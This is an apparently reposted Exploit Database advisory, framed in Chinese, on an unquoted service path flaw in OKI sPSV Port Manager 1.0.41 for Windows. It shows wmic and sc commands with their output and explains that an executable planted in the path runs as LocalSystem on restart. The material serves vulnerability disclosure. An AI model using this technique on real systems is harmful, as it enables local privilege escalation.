OKI sPSV Port Manager 1.0.41 – ‘sPSVOpLclSrv’ Unquoted Service Path

• Exploit Database
• 117 阅读

• 作者： Julio Aviña
  日期： 2020-11-09
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49005/
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  # Exploit Title: OKI sPSV Port Manager 1.0.41 - 'sPSVOpLclSrv' Unquoted Service Path # Date: 2020-11-08 # Exploit Author: Julio Aviña # Vendor Homepage: https://www.oki.com/ # Software Link: https://www.oki.com/mx/printing/download/sPSV_010041_2_270910.exe # Software Version: 1.0.41 # File Version: 1.4.2.0 # Tested on: Windows 10 Pro x64 es # Vulnerability Type: Unquoted Service Path     # 1. To find the unquoted service path vulnerability   C:\>wmic service where 'name like "%sPSVOpLclSrv%"' get displayname, pathname, startmode, startname   DisplayNamePathName StartModeStartName OKI sPSV Port ManagerC:\Program Files\Okidata\smart PrintSuperVision\xml\ComApi\extend3\portmgrsrv.exeAuto LocalSystem   # 2. To check service info:   C:\>sc qc "sPSVOpLclSrv" [SC] QueryServiceConfig CORRECTO   NOMBRE_SERVICIO: sPSVOpLclSrv TIPO : 10WIN32_OWN_PROCESS TIPO_INICIO: 2 AUTO_START CONTROL_ERROR: 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\Okidata\smart PrintSuperVision\xml\ComApi\extend3\portmgrsrv.exe GRUPO_ORDEN_CARGA: ETIQUETA : 0 NOMBRE_MOSTRAR : OKI sPSV Port Manager DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem     # 3. Exploit:   A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application. When restarting the service or the system, the inserted executable will run with elevated privileges.